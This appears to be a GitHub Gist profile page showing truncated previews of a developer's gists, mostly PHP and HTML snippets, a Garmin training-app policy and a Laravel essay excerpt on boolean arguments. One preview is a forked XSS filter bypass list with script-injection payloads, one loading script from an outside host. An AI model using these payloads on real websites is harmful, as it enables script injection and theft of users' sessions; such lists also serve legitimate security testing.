Skip to content

Instantly share code, notes, and snippets.

View dotuancd's full-sized avatar
🙄
Looking for something

Đỗ Anh Tuấn dotuancd

🙄
Looking for something
  • FlintersVN
  • Hà Nội - Việt Nam
  • 22:16 (UTC +07:00)
  • X @dotuancd
View GitHub Profile

Policy for the Application to Develop Advanced Training Programs for Garmin Users

Purpose:

The purpose of this application is to provide Garmin users with advanced training programs for various running distances and other athletic activities, including:

  • Running distances longer than 42km (e.g., ultra marathons)
  • Ultra trail distances
  • Cross training programs (e.g., strength training, yoga training, recovery training)

Target Audience:

<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Reactive</title>
</head>
<body>
<div id="app">
<p>Hello, {{name}}</p>
<?php
class Files
{
public static function direct($path)
{
$handle = opendir($path);
$files = [];
while ($file = readdir($handle)) {

Avoid Exposing Booleans

Before I wrote Laravel, I used several other PHP frameworks. While using them, I came across a variety of methods that accepted boolean arguments to change their behavior. For example, perhaps a method accepts a boolean argument to determine if a given task runs in the background. Or, maybe it even accepts three or four boolean arguments to change various aspects of the method's behavior. The method call ends up looking something like this:

$this->perform_task($job, true, false, false);

I still see code written like this today. However, it should be avoided. When I wrote Laravel, I made an internal promise to myself that I would attempt to never force a user to pass a boolean argument for any method throughout the entire framework.

The problem with defining your method signatures in this way is that the behavior that the booleans modify is impossible to discern from the consumer's point of view. You must always refer to the component's internal code or documentation to dete

@dotuancd
dotuancd / xxsfilterbypass.lst
Created June 6, 2017 10:46 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<?php
$users = [
['name' => 'Foo', 'email' => "[email protected]", "id" => 1],
['name' => 'Bar', 'email' => "[email protected]", "id" => 2]
]
//Theo mình hiểu thì giờ bạn đang dùng cách này đúng không?
foreach ($users as $user) {
<form action="users?id={$user[id]"}>
<input name="name" value="{$user[name]}">
@dotuancd
dotuancd / 00. tutorial.md
Created February 5, 2016 07:00 — forked from maxivak/00. tutorial.md
Importing/Indexing database (MySQL or SQL Server) in Solr using Data Import Handler
<?php
$excerpts = get_the_excerpt();
$list = array();
foreach ( $excerpts as $excerpt ) {
$arr = explode( " ", $excerpt );
$newexcerpt = "";
for ( $j = 0; $j < 20; $j = $j + 1 ) {
$newexcerpt = $newexcerpt . " " . $arr[$j];
}